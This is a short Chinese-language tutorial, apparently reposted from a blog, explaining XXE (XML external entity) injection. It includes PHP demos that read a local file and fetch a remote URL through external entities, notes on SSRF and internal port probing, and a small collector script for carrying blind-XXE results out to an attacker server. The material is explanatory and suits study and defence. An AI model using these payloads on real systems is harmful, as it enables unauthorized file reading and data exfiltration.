XML外部实体注入,简称XXE漏洞。XML文档结构包括XML声明,DTD文档类型定义,文档元素。
<?xml version="1.0"?>XML声明
<!DOCTYPE note [
<!ELEMENT note(to,from,heading,body)>
<!ELEMENT to(#PCDATA)>
<!ELEMENT from(#PCDATA)> 文档定义类型(DTD)
<!ELEMENT heading(#PCDATA)>
<!ELEMENT body(#PCDATA)>
]>
<note>
<to>tove</to>
<from>jani</from>
<heading>reminder</heading>
<body>don‘t forget me this weekend</body> 文档元素
</note>
<!DOCTYPE 根元素 [次一级元素声明]
<!DOCTYPE 根元素 SYSTEM "url路径"
<?php
$test = ‘<!DOCTYPE xxx1 [<!ENTITY xxx2 SYSTEM "file:///c:/phpstudy_pro/123.txt">]><xxx3>&xxx2;</xxx3>‘; //后面的标签名,&实体声明一定得有
$obj = simplexml_load_string($test, ‘simpleXMLElement‘, LIBXML_NOENT);
print_r($obj);
?>
可以让目标服务通过特定协议去访问相关资源,从而实现SSRF(服务器请求伪造)
攻击。我们还可以进行内网服务探测、端口探测等利用
<?php
$test = ‘<!DOCTYPE xxx1 [<!ENTITY xxx2 SYSTEM "https://baidu.com">]><xxx3>&xxx2;</xxx3>‘;
$obj = simplexml_load_string($test, ‘simpleXMLElement‘, LIBXML_NOENT);
print_r($obj);
?>
虽然页面是很多Wraning警告,但其实我们已经得到了baidu的源码数据
XXE中也存在盲注,不会给你显示东西。
利用其他东西证明其存在
延时
写文件
搭建一个服务器里边有个php(test_blind.php)文件,访问后搭建的服务器目录生成一个文件
//test_blind.php 文件
<?php
file_put_contents("Yes.txt", $_GET["id"],FILE_APPEND);
?>
将结果外带出来
DNS注入
反弹注入
SSRF和XXE最大的功能是能发起请求,这给了我们很大的空间发挥
原文:https://www.cnblogs.com/beidaxmf/p/14302565.html